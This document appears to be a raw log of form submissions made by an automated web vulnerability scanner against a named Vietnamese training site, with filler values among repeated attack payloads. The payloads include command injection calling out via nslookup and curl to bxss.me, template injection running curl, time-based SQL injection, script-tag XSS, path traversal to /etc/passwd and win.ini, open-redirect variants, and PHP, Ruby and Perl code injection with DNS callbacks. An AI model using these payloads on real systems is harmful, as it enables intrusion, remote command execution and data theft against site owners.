&echo gxnrlr$()\ nwogjt\nz^xyu||a #' &echo gxnrlr$()\ nwogjt\nz^xyu||a #|" &echo gxnrlr$()\ nwogjt\nz^xyu||a #
555
555
echo bwchgp$()\ manqqw\nz^xyu||a #' &echo bwchgp$()\ manqqw\nz^xyu||a #|" &echo bwchgp$()\ manqqw\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555&n982092=v901354
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999147+9999422}
555
555
555
555
555
../555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
file:///etc/passwd
555
../../../../../../../../../../../../../../windows/win.ini
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]* { < >?''💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
0zqkMA2e: GvnYWVLW
"+response.write(9585387*9857385)+"
c12Jxl1g
'+response.write(9585387*9857385)+'
555
response.write(9585387*9857385)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559880496
'"()&%<zzz><ScRiPt >5h0h(9960)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitaebofrcajl06709.bxss.me")}}
555'"()&%<zzz><ScRiPt >5h0h(9720)</ScRiPt>
redirtest.acx?555
https://bxss.me/555
555
https://bxss.me?https://daotao.aladdin-jsc.com/
//bxss.me/?555
%2f%2fbxss.me%2f
555
\\bxss.me
/\/bxss.me/
/\bxss.me/
https:\\bxss.me\
http:bxss.me
555
//bxss.me/daotao.aladdin-jsc.com/
//bxss.me/
555
https://bxss.me?555
@bxss.me/
555
https://bxss.me?daotao.aladdin-jsc.com/
https://bxss.me#daotao.aladdin-jsc.com/
https://bxss.me\@daotao.aladdin-jsc.com/
https://daotao.aladdin-jsc.com:80@bxss.me/
https://daotao.aladdin-jsc.com@bxss.me/
https://daotao.aladdin-jsc.com.bxss.me/
https://bxss.me/
https://daotao.aladdin-jsc.com/
redirtest.acx
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
'{"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
blog-reply-submit/.
555
555
blog-reply-submit
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
blog-reply-submit
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555
555
555
${@print(md5(31337))}
555
";print(md5(31337));$a="
';print(md5(31337));$a='
'A'.concat(70-3).concat(22*4).concat(97).concat(72).concat(107).concat(83)+(require'socket' Socket.gethostbyname('hitbm'+'knixgopt94c5b.bxss.me.')[3].to_s)
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
'+'A'.concat(70-3).concat(22*4).concat(108).concat(73).concat(102).concat(90)+(require'socket' Socket.gethostbyname('hitje'+'ykttnspa9aacb.bxss.me.')[3].to_s)+'
555
"+"A".concat(70-3).concat(22*4).concat(106).concat(84).concat(106).concat(86)+(require"socket" Socket.gethostbyname("hitxw"+"gnbqolon23555.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*slyotw||"
555
555'||sleep(27*1000)*fgxylr||'
555
555"&&sleep(27*1000)*gymksf&&"
555'&&sleep(27*1000)*xbmvtq&&'
'"()
555
bxss.me/t/xss.html?%00
555
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitpi'.'kpuduvdeba65f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(82).chr(121).chr(88)
555
555
".gethostbyname(lc("hittu"."otlsufvna36ee.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(79).chr(114).chr(74)."
http://bxss.me/t/fit.txt?.jpg
555
'.gethostbyname(lc('hitcr'.'reymcmnnebd65.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(73).chr(120).chr(87).'
Http://bxss.me/t/fit.txt
555
555
bxss.me
555
555
c:/windows/win.ini
555
555
../../../../../../../../../../../../../../etc/shells
555
/etc/shells
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
^(#$!@#$)(()))******
555
!(()&&!|*|*|
)
555
555
555
555
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitfpyhshwghp29276.bxss.me||curl${IFS}hitfpyhshwghp29276.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfpyhshwghp29276.bxss.me||curl${IFS}hitfpyhshwghp29276.bxss.me)&`'
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitphhsdpvgemd0ee0.bxss.me||curl${IFS}hitphhsdpvgemd0ee0.bxss.me)
555
;(nslookup -q=cname hitirwgwzbsuabaae6.bxss.me||curl hitirwgwzbsuabaae6.bxss.me)|(nslookup -q=cname hitirwgwzbsuabaae6.bxss.me||curl hitirwgwzbsuabaae6.bxss.me)&(nslookup -q=cname hitirwgwzbsuabaae6.bxss.me||curl hitirwgwzbsuabaae6.bxss.me)
555
`(nslookup -q=cname hitpajwixelvi97669.bxss.me||curl hitpajwixelvi97669.bxss.me)`
555
|(nslookup -q=cname hittegecniuhdacb84.bxss.me||curl hittegecniuhdacb84.bxss.me)
555
555&n970308=v907578
&(nslookup -q=cname hitqifwsuzjczc2773.bxss.me||curl hitqifwsuzjczc2773.bxss.me)&'\"`0&(nslookup -q=cname hitqifwsuzjczc2773.bxss.me||curl hitqifwsuzjczc2773.bxss.me)&`'
555
555
&nslookup -q=cname hitchyjkhugydab04a.bxss.me&'\"`0&nslookup -q=cname hitchyjkhugydab04a.bxss.me&`'
$(nslookup -q=cname hiteonbdnrkzwc8727.bxss.me||curl hiteonbdnrkzwc8727.bxss.me)
555
(nslookup -q=cname hitjlusdljylu47bba.bxss.me||curl hitjlusdljylu47bba.bxss.me))
expr 9000314822 - 976899
555
555|echo jlckrb$()\ ospauy\nz^xyu||a #' |echo jlckrb$()\ ospauy\nz^xyu||a #|" |echo jlckrb$()\ ospauy\nz^xyu||a #
|echo ruyvyc$()\ rujrfq\nz^xyu||a #' |echo ruyvyc$()\ rujrfq\nz^xyu||a #|" |echo ruyvyc$()\ rujrfq\nz^xyu||a #
${9999236+10000111}
555&echo rwczko$()\ wxrspi\nz^xyu||a #' &echo rwczko$()\ wxrspi\nz^xyu||a #|" &echo rwczko$()\ wxrspi\nz^xyu||a #
555
&echo ebpajg$()\ qiqhxh\nz^xyu||a #' &echo ebpajg$()\ qiqhxh\nz^xyu||a #|" &echo ebpajg$()\ qiqhxh\nz^xyu||a #
echo hqbjti$()\ uwjtjd\nz^xyu||a #' &echo hqbjti$()\ uwjtjd\nz^xyu||a #|" &echo hqbjti$()\ uwjtjd\nz^xyu||a #
555
555
555
12345'"\'\");|]* { < >?''💡
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
../555
555
file:///etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
cLUksKf9: OhC8eAZf
555
RfdQSfIk
555
555
555
555
"+response.write(9254761*9287978)+"
'+response.write(9254761*9287978)+'
response.write(9254761*9287978)
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@5OELS
555????%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5550RPe0JiE')) OR 482=(SELECT 482 FROM PG_SLEEP(15))--
555kieENHDh') OR 380=(SELECT 380 FROM PG_SLEEP(15))--
555IeJ4EjHo' OR 334=(SELECT 334 FROM PG_SLEEP(15))--
555-1)) OR 756=(SELECT 756 FROM PG_SLEEP(15))--
555-1) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
555-1 OR 518=(SELECT 518 FROM PG_SLEEP(15))--
555TcOKXTf6'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "mw057u0V"="
-1' OR 5*5=25 or '6kSLzppX'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555hYwSvQJL
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559261423
555
555
555
'"()&%<zzz><ScRiPt >DgFM(9346)</ScRiPt>
555
555
555
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hituihqjgqpelcb30c.bxss.me")}}
555
555
555
555'"()&%<zzz><ScRiPt >DgFM(9104)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
'{"
555
555
555
555
xfs.bxss.me
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
blog-comment-submit/.
555
555
blog-comment-submit
555
blog-comment-submit
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(99).concat(70).concat(101).concat(73)+(require'socket' Socket.gethostbyname('hitsm'+'dnbbjnbm87d7d.bxss.me.')[3].to_s)
'+'A'.concat(70-3).concat(22*4).concat(105).concat(88).concat(121).concat(68)+(require'socket' Socket.gethostbyname('hitmu'+'nsnzfwbi81ddc.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(108).concat(79).concat(100).concat(82)+(require"socket" Socket.gethostbyname("hituk"+"nuqiejrja2119.bxss.me.")[3].to_s)+"
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555
${@print(md5(31337))}
555
";print(md5(31337));$a="
555
';print(md5(31337));$a='
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
redirtest.acx?555
555
bxss.me/t/xss.html?%00
https://bxss.me/555
555
HttP://bxss.me/t/xss.html?%00
https://bxss.me?https://daotao.aladdin-jsc.com/
555
555
//bxss.me/?555
555
%2f%2fbxss.me%2f
\\bxss.me
/\/bxss.me/
555
/\bxss.me/
555
https:\\bxss.me\
555
http:bxss.me
555
//bxss.me/daotao.aladdin-jsc.com/
555
555
//bxss.me/
555
https://bxss.me?555
555
@bxss.me/
555
555
https://bxss.me?daotao.aladdin-jsc.com/
555
https://bxss.me#daotao.aladdin-jsc.com/
555
555
https://bxss.me\@daotao.aladdin-jsc.com/
555
https://daotao.aladdin-jsc.com:80@bxss.me/
555
https://daotao.aladdin-jsc.com@bxss.me/
555
https://daotao.aladdin-jsc.com.bxss.me/
555
https://bxss.me/
https://daotao.aladdin-jsc.com/
redirtest.acx
555
gethostbyname(lc('hitlk'.'acovplmo4a034.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(74).chr(110).chr(89)
555
".gethostbyname(lc("hitbf"."pslatwhd49ccf.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(87).chr(116).chr(69)."
555
'.gethostbyname(lc('hitnk'.'lgenprmgef62f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(69).chr(119).chr(86).'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*xncsxb||"
555
555
555'||sleep(27*1000)*pmwbog||'
555
555
555"&&sleep(27*1000)*yvqvcy&&"
555
555
555'&&sleep(27*1000)*qeeuyr&&'
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
Http://bxss.me/t/fit.txt
555
^(#$!@#$)(()))******
bxss.me
555
!(()&&!|*|*|
c:/windows/win.ini
555
)
../../../../../../../../../../../../../../etc/shells
555
555
/etc/shells
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555&n996049=v978761
555
555
555
555
555
555
${9999970+9999346}
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]* { < >?''💡
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
555
(select 198766*667891)
555
@@XNKOy
555
555????%2527%2522\'\"
555
555'"
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555hXGJPsRO')) OR 608=(SELECT 608 FROM PG_SLEEP(15))--
555
555pjcTWnys') OR 914=(SELECT 914 FROM PG_SLEEP(15))--
555
555wRwSQIIo' OR 312=(SELECT 312 FROM PG_SLEEP(15))--
555-1)) OR 34=(SELECT 34 FROM PG_SLEEP(15))--
555
555-1) OR 725=(SELECT 725 FROM PG_SLEEP(15))--
555-1 OR 934=(SELECT 934 FROM PG_SLEEP(15))--
555GlUAlIp2'; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555
555-1; waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
&(nslookup${IFS}-q${IFS}cname${IFS}hitkcrlkouzfc9cff0.bxss.me||curl${IFS}hitkcrlkouzfc9cff0.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkcrlkouzfc9cff0.bxss.me||curl${IFS}hitkcrlkouzfc9cff0.bxss.me)&`'
-1" OR 5*5=25 or "eI9846fe"="
../555
|(nslookup${IFS}-q${IFS}cname${IFS}hityzcmbydsoqfe9ee.bxss.me||curl${IFS}hityzcmbydsoqfe9ee.bxss.me)
-1' OR 5*5=25 or '7j7xnYtr'='
555
;(nslookup -q=cname hittvorwpqeicf9ab1.bxss.me||curl hittvorwpqeicf9ab1.bxss.me)|(nslookup -q=cname hittvorwpqeicf9ab1.bxss.me||curl hittvorwpqeicf9ab1.bxss.me)&(nslookup -q=cname hittvorwpqeicf9ab1.bxss.me||curl hittvorwpqeicf9ab1.bxss.me)
-1" OR 5*5=25 --
file:///etc/passwd
-1' OR 5*5=25 --
`(nslookup -q=cname hitufieqvubai62ea4.bxss.me||curl hitufieqvubai62ea4.bxss.me)`
../../../../../../../../../../../../../../windows/win.ini
-1 OR 5*5=25
|(nslookup -q=cname hitmqnffnvyfi4ac0c.bxss.me||curl hitmqnffnvyfi4ac0c.bxss.me)
../../../../../../../../../../../../../../etc/passwd
-1 OR 5*5=25 --
&(nslookup -q=cname hitkxqqpvydegf6c68.bxss.me||curl hitkxqqpvydegf6c68.bxss.me)&'\"`0&(nslookup -q=cname hitkxqqpvydegf6c68.bxss.me||curl hitkxqqpvydegf6c68.bxss.me)&`'
555
555
555
&nslookup -q=cname hithdqmbkijqze150c.bxss.me&'\"`0&nslookup -q=cname hithdqmbkijqze150c.bxss.me&`'
5551eBNDjYU
555
$(nslookup -q=cname hitxcwsldgvii335fc.bxss.me||curl hitxcwsldgvii335fc.bxss.me)
555
555
(nslookup -q=cname hitetzeiaazga308ca.bxss.me||curl hitetzeiaazga308ca.bxss.me))
555
555
expr 9000243986 - 938534
555
555|echo rzhvdy$()\ ejpvzu\nz^xyu||a #' |echo rzhvdy$()\ ejpvzu\nz^xyu||a #|" |echo rzhvdy$()\ ejpvzu\nz^xyu||a #
555
|echo byzpvd$()\ fwqzwz\nz^xyu||a #' |echo byzpvd$()\ fwqzwz\nz^xyu||a #|" |echo byzpvd$()\ fwqzwz\nz^xyu||a #
555
555
555&echo gcjoxv$()\ npufdk\nz^xyu||a #' &echo gcjoxv$()\ npufdk\nz^xyu||a #|" &echo gcjoxv$()\ npufdk\nz^xyu||a #
555
&echo tylhpb$()\ ubzjlm\nz^xyu||a #' &echo tylhpb$()\ ubzjlm\nz^xyu||a #|" &echo tylhpb$()\ ubzjlm\nz^xyu||a #
555
echo gkkpip$()\ mtirmv\nz^xyu||a #' &echo gkkpip$()\ mtirmv\nz^xyu||a #|" &echo gkkpip$()\ mtirmv\nz^xyu||a #
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
4arv1t3L: 39wkSRMT
555
555
bV3pdfzJ
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9849937*9015332)+"
'+response.write(9849937*9015332)+'
response.write(9849937*9015332)
555
555
555
555
555
555
1BBE8Z4R9L0
555
555
555
555
555
(select 198766*667891)
555
555
555
555
5559447073
'"()&%<zzz><ScRiPt >7wyY(9773)</ScRiPt>
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitwbgfvghrwzcc48a.bxss.me")}}
555'"()&%<zzz><ScRiPt >7wyY(9939)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
redirtest.acx?555
555
https://bxss.me/555
https://bxss.me?https://daotao.aladdin-jsc.com/
555
//bxss.me/?555
555
%2f%2fbxss.me%2f
555
\\bxss.me
555
/\/bxss.me/
555
/\bxss.me/
555
https:\\bxss.me\
555
555
http:bxss.me
//bxss.me/daotao.aladdin-jsc.com/
//bxss.me/
555
https://bxss.me?555
555
@bxss.me/
https://bxss.me?daotao.aladdin-jsc.com/
https://bxss.me#daotao.aladdin-jsc.com/
https://bxss.me\@daotao.aladdin-jsc.com/
555
https://daotao.aladdin-jsc.com:80@bxss.me/
<!--
https://daotao.aladdin-jsc.com@bxss.me/
'{"
555
https://daotao.aladdin-jsc.com.bxss.me/
555
555
https://bxss.me/
555
555
https://daotao.aladdin-jsc.com/
555
redirtest.acx
555
555
555
(select 198766*667891 from DUAL)
555
555
(select 198766*667891)
555
@@9RIwr
555
555????%2527%2522\'\"
xfs.bxss.me
555
555'"
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
blog-reply-submit/.
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
blog-reply-submit
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
blog-reply-submit
555
555Cqxau67L')) OR 625=(SELECT 625 FROM PG_SLEEP(15))--
555
555
555
555s0J4SVGR') OR 17=(SELECT 17 FROM PG_SLEEP(15))--
555
555
555NdGHq9p7' OR 568=(SELECT 568 FROM PG_SLEEP(15))--
555
555
555-1)) OR 433=(SELECT 433 FROM PG_SLEEP(15))--
555
555-1) OR 636=(SELECT 636 FROM PG_SLEEP(15))--
555
555-1 OR 633=(SELECT 633 FROM PG_SLEEP(15))--
'A'.concat(70-3).concat(22*4).concat(113).concat(67).concat(111).concat(73)+(require'socket' Socket.gethostbyname('hitkq'+'odymuiak45c6a.bxss.me.')[3].to_s)
555
555W9mFiOtD'; waitfor delay '0:0:15' --
'+'A'.concat(70-3).concat(22*4).concat(109).concat(65).concat(100).concat(71)+(require'socket' Socket.gethostbyname('hitlp'+'vmwksuuudd300.bxss.me.')[3].to_s)+'
555
'.print(md5(31337)).'
555
555-1 waitfor delay '0:0:15' --
"+"A".concat(70-3).concat(22*4).concat(119).concat(74).concat(119).concat(83)+(require"socket" Socket.gethostbyname("hittu"+"msejbegi57942.bxss.me.")[3].to_s)+"
555
${@print(md5(31337))}\
555
555-1); waitfor delay '0:0:15' --
555
555
${@print(md5(31337))}
555
555-1; waitfor delay '0:0:15' --
555
";print(md5(31337));$a="
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
';print(md5(31337));$a='
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
-1" OR 5*5=25 or "AUcYiKON"="
555
bxss.me/t/xss.html?%00
555
-1' OR 5*5=25 or 'I55cE0Ya'='
555
HttP://bxss.me/t/xss.html?%00
555
-1" OR 5*5=25 --
555
555
555
-1' OR 5*5=25 --
555
555
555
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555G1hILShj
555
555
555
gethostbyname(lc('hitqs'.'ekafanqx009be.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(84).chr(113).chr(77)
555
".gethostbyname(lc("hitcp"."fqctwljcc4642.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(70).chr(116).chr(88)."
555
555
555
'.gethostbyname(lc('hitwz'.'jdnbcggf784f2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(85).chr(112).chr(69).'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555"||sleep(27*1000)*laxavf||"
555
555
555'||sleep(27*1000)*llkgyv||'
555
555
555"&&sleep(27*1000)*gwengj&&"
555
555'&&sleep(27*1000)*tbhiez&&'
555
'"()
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
555
555
555
Http://bxss.me/t/fit.txt
555
555
555
bxss.me
555
555
c:/windows/win.ini
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
/etc/shells
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitaisszqtmai26edc.bxss.me||curl${IFS}hitaisszqtmai26edc.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitaisszqtmai26edc.bxss.me||curl${IFS}hitaisszqtmai26edc.bxss.me)&`'
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitiuiwuzznpld08d9.bxss.me||curl${IFS}hitiuiwuzznpld08d9.bxss.me)
555
555
555
;(nslookup -q=cname hitpmlptnotqcbc263.bxss.me||curl hitpmlptnotqcbc263.bxss.me)|(nslookup -q=cname hitpmlptnotqcbc263.bxss.me||curl hitpmlptnotqcbc263.bxss.me)&(nslookup -q=cname hitpmlptnotqcbc263.bxss.me||curl hitpmlptnotqcbc263.bxss.me)
555
555
`(nslookup -q=cname hitsvgahrdbccea20a.bxss.me||curl hitsvgahrdbccea20a.bxss.me)`
555
555
555
|(nslookup -q=cname hithopfyihtzi83ada.bxss.me||curl hithopfyihtzi83ada.bxss.me)
555
555
&(nslookup -q=cname hitijwzdrxtan23ade.bxss.me||curl hitijwzdrxtan23ade.bxss.me)&'\"`0&(nslookup -q=cname hitijwzdrxtan23ade.bxss.me||curl hitijwzdrxtan23ade.bxss.me)&`'
555
555
555
&nslookup -q=cname hitdjzlzovgvx240d9.bxss.me&'\"`0&nslookup -q=cname hitdjzlzovgvx240d9.bxss.me&`'
555
555
$(nslookup -q=cname hityaovwhsmazf506e.bxss.me||curl hityaovwhsmazf506e.bxss.me)
555
(nslookup -q=cname hitsisclxwejb504b0.bxss.me||curl hitsisclxwejb504b0.bxss.me))
555
expr 9000377348 - 933909
555
555|echo gdquns$()\ cburvm\nz^xyu||a #' |echo gdquns$()\ cburvm\nz^xyu||a #|" |echo gdquns$()\ cburvm\nz^xyu||a #
|echo ojfgao$()\ hporgq\nz^xyu||a #' |echo ojfgao$()\ hporgq\nz^xyu||a #|" |echo ojfgao$()\ hporgq\nz^xyu||a #
555
555&echo vaupfz$()\ nxyofw\nz^xyu||a #' &echo vaupfz$()\ nxyofw\nz^xyu||a #|" &echo vaupfz$()\ nxyofw\nz^xyu||a #
^(#$!@#$)(()))******
&echo onvtnr$()\ nesojj\nz^xyu||a #' &echo onvtnr$()\ nesojj\nz^xyu||a #|" &echo onvtnr$()\ nesojj\nz^xyu||a #
!(()&&!|*|*|
echo eyqmih$()\ uiezzb\nz^xyu||a #' &echo eyqmih$()\ uiezzb\nz^xyu||a #|" &echo eyqmih$()\ uiezzb\nz^xyu||a #
)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555&n978468=v911698
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${10000326+9999279}
555
555
555
555
555
555
555
12345'"\'\");|]* { < >?''💡
555
555
555
../555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
file:///etc/passwd
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
iJY7D3DD: KBH5odsL
555
555
XmdiYeWd
555
555
555
555
555
555
555
555
555
555
"+response.write(9975540*9883178)+"
'+response.write(9975540*9883178)+'
response.write(9975540*9883178)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
5559710702
555
555
555
'"()&%<zzz><ScRiPt >cfrk(9761)</ScRiPt>
555
555
555
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitrqabupqxnn7a2c8.bxss.me")}}
555
555
555'"()&%<zzz><ScRiPt >cfrk(9876)</ScRiPt>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
<!--
555
555
'{"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
blog-comment-submit/.
555
blog-comment-submit
555
blog-comment-submit
555
555
'A'.concat(70-3).concat(22*4).concat(119).concat(70).concat(105).concat(87)+(require'socket' Socket.gethostbyname('hitrv'+'uyajlyml550bf.bxss.me.')[3].to_s)
redirtest.acx?555
555
555
'+'A'.concat(70-3).concat(22*4).concat(113).concat(89).concat(114).concat(84)+(require'socket' Socket.gethostbyname('hitlv'+'vpdtzgzu2011a.bxss.me.')[3].to_s)+'
https://bxss.me/555
555
555
"+"A".concat(70-3).concat(22*4).concat(112).concat(85).concat(104).concat(86)+(require"socket" Socket.gethostbyname("hitka"+"dzkfapwq6aa05.bxss.me.")[3].to_s)+"
https://bxss.me?https://daotao.aladdin-jsc.com/
555
555
'.print(md5(31337)).'
//bxss.me/?555
555
555
${@print(md5(31337))}\
%2f%2fbxss.me%2f
555
555
${@print(md5(31337))}
\\bxss.me
555
";print(md5(31337));$a="
/\/bxss.me/
555
';print(md5(31337));$a='
555
/\bxss.me/
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
https:\\bxss.me\
555
555
555
http:bxss.me
555
555
555
555
//bxss.me/daotao.aladdin-jsc.com/
555
555
555
555
//bxss.me/
555
555
555
https://bxss.me?555
555
555
555
@bxss.me/
555
555
555
https://bxss.me?daotao.aladdin-jsc.com/
555
https://bxss.me#daotao.aladdin-jsc.com/
555
bxss.me/t/xss.html?%00
555
https://bxss.me\@daotao.aladdin-jsc.com/
555
HttP://bxss.me/t/xss.html?%00
555
https://daotao.aladdin-jsc.com:80@bxss.me/
555
555
555
https://daotao.aladdin-jsc.com@bxss.me/
555
555
555
https://daotao.aladdin-jsc.com.bxss.me/
555
555
https://bxss.me/
555
https://daotao.aladdin-jsc.com/
555
555
555
redirtest.acx
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
